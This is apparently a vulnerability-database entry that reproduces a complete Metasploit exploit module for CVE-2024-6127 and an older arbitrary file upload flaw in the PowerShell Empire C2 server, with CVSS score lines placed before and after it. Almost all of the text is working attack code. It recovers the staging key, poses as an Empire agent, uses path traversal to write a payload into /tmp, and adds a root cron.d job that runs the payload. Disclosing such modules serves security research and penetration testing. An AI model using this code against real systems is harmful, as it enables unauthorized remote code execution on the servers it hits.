CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low
A vulnerability existed in the new Empire (maintained by BC Security) prior to commit e73e883 ( Author(s) Spencer McIntyre Erik Daguerre ACE-Responder Takahiro Yokoyama Platform Linux,Python
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
GENERATOR = 2
PRIME = '0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A087'\
'98E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5C'\
'B6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163'\
'FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C3290'\
'5E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D'\
'2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3'\
'970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A645'\
'21F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A9210801'\
'1A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF'\
'92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD76217048'\
'1CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB260264'\
'6DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B'\
'14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D17'\
'21D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF'\
'585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8'\
'A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E'\
'6DCC4024FFFFFFFFFFFFFFFF'.to_i(16)
STAGE0 = 1
STAGE1 = 2
STAGE2 = 3
RESULT_POST = 5
TASK_DOWNLOAD = 41
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
'Description' => %q{
A vulnerability existed in the new Empire (maintained by BC Security)
prior to commit e73e883 (<v5.9.3) or the original PowerShellEmpire
server prior to commit f030cf62 which would allow an arbitrary file
to be written to an attacker controlled location with the permissions
of the Empire server.
This exploit will write the payload to /tmp/ directory followed by a
cron.d file to execute the payload.
},
'Author' => [
'Spencer McIntyre', # Vulnerability discovery & original Metasploit module
'Erik Daguerre', # Original Metasploit module
'ACE-Responder', # Patch bypass discovery & Python PoC
'Takahiro Yokoyama' # Update Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-6127'], # patch bypass
['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass
['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass
],
'Payload' => {
'DisableNops' => true
},
'Platform' => %w[linux python],
'Targets' => [
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
],
'DefaultOptions' => { 'WfsDelay' => 75 },
'DefaultTarget' => 0,
'DisclosureDate' => '2016-10-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(8080),
# original
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]),
# patch bypass
OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2024-6127', ['CVE-2024-6127', 'Original']]),
OptString.new('STAGE_PATH', [ true, 'The Empire\'s staging path, default is login/process.php', 'login/process.php' ]),
OptString.new('AGENT', [ true, 'The Empire\'s communication profile agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'])
]
)
end
def check
@staging_key = get_staging_key
return Exploit::CheckCode::Safe if @staging_key.nil?
Exploit::CheckCode::Appears
end
def aes_encrypt(key, data, include_mac: false)
cipher = OpenSSL::Cipher.new('aes-256-cbc')
cipher.encrypt
iv = cipher.random_iv
cipher.key = key
cipher.iv = iv
data = iv + cipher.update(data) + cipher.final
digest = OpenSSL::Digest.new('sha1')
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
data
end
def create_packet(res_id, data, counter = nil)
data = Rex::Text.encode_base64(data)
counter = Time.new.to_i if counter.nil?
[ res_id, counter, data.length ].pack('VVV') + data
end
def reversal_key
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
[
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
]
end
def rsa_encode_int(value)
encoded = []
while value > 0
encoded << (value & 0xff)
value >>= 8
end
Rex::Text.encode_base64(encoded.reverse.pack('C*'))
end
def rsa_key_to_xml(rsa_key)
rsa_key_xml = "<RSAKeyValue>\n"
rsa_key_xml << " <Exponent>#{rsa_encode_int(rsa_key.e.to_i)}</Exponent>\n"
rsa_key_xml << " <Modulus>#{rsa_encode_int(rsa_key.n.to_i)}</Modulus>\n"
rsa_key_xml << '</RSAKeyValue>'
rsa_key_xml
end
def get_staging_key
# patch bypass
if datastore['CVE'] == 'CVE-2024-6127'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'download/python/')
})
return unless res && res.code == 200
match = /IV\+'(.*)'\.encode/.match(res.body)
return match[1].bytes if match
return
end
# STAGE0_URI resource requested by the initial launcher
# The default STAGE0_URI resource is index.asp
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
})
return unless res && res.code == 200
@staging_key = Array.new(32, nil)
staging_data = res.body.bytes
reversal_key.each_with_index do |(pos, char_code), key_pos|
@staging_key[key_pos] = staging_data[pos] ^ char_code
end
return if @staging_key.include? nil
# at this point the staging key should have been fully recovered but
# we'll verify it by attempting to decrypt the header of the stage
decrypted = []
staging_data[0..23].each_with_index do |byte, pos|
decrypted << (byte ^ @staging_key[pos])
end
return unless decrypted.pack('C*').downcase == 'function start-negotiate'
@staging_key
end
def write_file(path, data, session_id, session_key, server_epoch)
if datastore['CVE'] == 'CVE-2024-6127'
write_file_cve_2024_6127(path, data, session_id, session_key)
return
end
# target_url.path default traffic profile for empire agent communication
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
data = create_packet(
TASK_DOWNLOAD,
[
'0',
session_id + path,
Rex::Text.encode_base64(data)
].join('|'),
server_epoch
)
if datastore['PROFILE'].blank?
profile_uri = normalize_uri(target_uri.path, %w[admin/get.php news.asp login/process.jsp].sample)
else
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
end
res = send_request_cgi({
'cookie' => "SESSIONID=#{session_id}",
'data' => aes_encrypt(session_key, data, include_mac: true),
'method' => 'POST',
'uri' => normalize_uri(profile_uri)
})
fail_with(Failure::Unknown, 'Failed to write file') unless res && res.code == 200
res
end
def cron_file(command)
cron_file = 'SHELL=/bin/sh'
cron_file << "\n"
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
cron_file << "\n"
cron_file << "* * * * * root #{command}"
cron_file << "\n"
cron_file
end
def exploit
vprint_status('Recovering the staging key...')
@staging_key ||= get_staging_key
if @staging_key.nil?
fail_with(Failure::Unknown, 'Failed to recover the staging key')
end
vprint_good("Successfully recovered the staging key: #{@staging_key.map { |b| b.to_s(16) }.join(':')}")
@staging_key = @staging_key.pack('C*')
case datastore['CVE']
when 'CVE-2024-6127'
# stage0
# This stage is unnecessary for our purposes.
session_id = SecureRandom.alphanumeric(8).upcase
dummy = SecureRandom.alphanumeric(8)
send_data_to_stage(@staging_key, dummy, STAGE0, session_id)
# stage1
dh = OpenSSL::PKey::DH.new(
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Integer(PRIME),
OpenSSL::ASN1::Integer(GENERATOR)
]).to_der
)
if OpenSSL::PKey.respond_to?(:generate_key)
dh = OpenSSL::PKey.generate_key(dh)
else
dh.generate_key!
end
private_key = dh.priv_key.to_i
public_key = dh.pub_key.to_s
res = send_data_to_stage(@staging_key, public_key, STAGE1, session_id)
fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200
vprint_good('Successfully sent the key to STAGE1')
# decrypt the response and pull out the epoch and session_key
packet = aes_decrypt(@staging_key, res.body)
nonce = packet[..15].to_i
server_pub = packet[16..].to_i
shared_secret = server_pub.pow(private_key, PRIME)
# https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373
# _sharedSecretBytes = self.sharedSecret.to_bytes(
# len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big"
# )
# 2(0b) + 1(- 2 // 8 + 1) = 3
shared_secret = to_bytes(shared_secret, shared_secret.to_s(2).length + 3)
sha = OpenSSL::Digest.new('sha256')
sha.update(shared_secret)
session_key = sha.digest
print_good('Successfully negotiated an artificial Empire agent')
# stage2
sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8')
res = send_data_to_stage(session_key, sysinfo, STAGE2, session_id)
fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200
aes_decrypt(session_key, res.body)
server_epoch = nil
log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"
else
rsa_key = OpenSSL::PKey::RSA.new(2048)
session_id = Array.new(50, '..').join('/')
# STAGE1_URI, The resource used by the RSA key post
# The default STAGE1_URI resource is index.jsp
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
res = send_request_cgi({
'cookie' => "SESSIONID=#{session_id}",
'data' => aes_encrypt(@staging_key, rsa_key_to_xml(rsa_key)),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
})
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res && res.code == 200
vprint_good('Successfully sent the RSA key')
# decrypt the response and pull out the epoch and session_key
body = rsa_key.private_decrypt(res.body)
server_epoch = body[0..9].to_i
session_key = body[10..]
print_good('Successfully negotiated an artificial Empire agent')
log_path = '/agent.log'
end
payload_data = nil
payload_path = '/tmp/' + rand_text_alpha(8)
case target['Arch']
when ARCH_PYTHON
cron_command = "python #{payload_path}"
payload_data = payload.raw
when ARCH_X86, ARCH_X64
cron_command = "chmod +x #{payload_path} && #{payload_path}"
payload_data = payload.encoded_exe
end
print_status("Writing payload to #{payload_path}")
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
print_status("Writing cron job to #{cron_path}")
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
print_status('Waiting for cron job to run, can take up to 60 seconds')
register_files_for_cleanup(cron_path)
register_files_for_cleanup(payload_path)
# Empire writes to a log file location based on the Session ID, so when
# exploiting this vulnerability that file ends up in the root directory.
register_files_for_cleanup(log_path)
end
def build_routing_packet(meta = 0, enc_data = ''.b, session_id = '00000000')
data = session_id + [2, meta, 0, enc_data.bytes.length].pack('C2SL')
rc4_iv = SecureRandom.random_bytes(4)
key = rc4_iv + @staging_key
rc4_enc_data = Rex::Crypto.rc4(key, data)
rc4_iv + rc4_enc_data + enc_data
end
def aes_encrypt_then_hmac(key, data)
data = aes_encrypt(key, data)
mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, data)
data + mac[..9]
end
def aes_decrypt(key, data)
mac = data[-10..]
sha256_digest = OpenSSL::Digest.new('sha256')
expected = OpenSSL::HMAC.digest(sha256_digest, key, data[..-11])[..9]
unless OpenSSL::HMAC.digest(sha256_digest, key, mac) == OpenSSL::HMAC.digest(sha256_digest, key, expected)
raise 'Invalid ciphertext received.'
end
size = key.length * 8
fail_with(Failure::Unknown, 'AES key width must be 128 or 256 bits') unless size == 128 || size == 256
# Create the required cipher instance
aes = OpenSSL::Cipher.new("AES-#{size}-CBC")
# Generate a truly random IV
# set up the encryption
aes.decrypt
aes.key = key
aes.iv = data[..15]
# decrypt!
aes.update(data[16..-11]) + aes.final
end
def compress(data)
start_crc32 = Zlib.crc32(data) & 0xFFFFFFFF
comp_data = Zlib::Deflate.deflate(data)
Base64.strict_encode64([start_crc32].pack('N') + comp_data)
end
def build_response_packet(tasking_id, packet_data)
packet_type = [tasking_id].pack('S')
total_packet = [1].pack('S')
packet_num = [1].pack('S')
result_id = [1].pack('S')
packet_data = Base64.strict_encode64(packet_data)
if packet_data.length % 4 != 0
packet_data += '=' * (4 - packet_data.length % 4)
end
length = [packet_data.length].pack('L')
packet_type + total_packet + packet_num + result_id + length + packet_data
end
def to_bytes(num, length = 1, little_endian: false)
order = little_endian ? (0...length) : (0...length).to_a.reverse
bytes_array = order.map { |i| (num >> i * 8) & 0xff }
bytes_array.pack('C*')
end
def write_file_cve_2024_6127(path, data, session_id, session_key)
path = path.split('/').join('\\')
packet = build_response_packet(
TASK_DOWNLOAD,
[
'0',
Array.new(50, '..').join('\\') + path,
data.length.to_s,
compress(data)
].join('|')
)
send_data_to_stage(session_key, packet, RESULT_POST, session_id)
end
def send_data_to_stage(session_key, packet, task_id, session_id)
enc_packet = aes_encrypt_then_hmac(session_key, packet)
data = build_routing_packet(task_id, enc_packet, session_id)
res = send_request_cgi({
'data' => data,
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
'headers' => { 'Cookie' => datastore['AGENT'] }
})
res
end
end
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
Low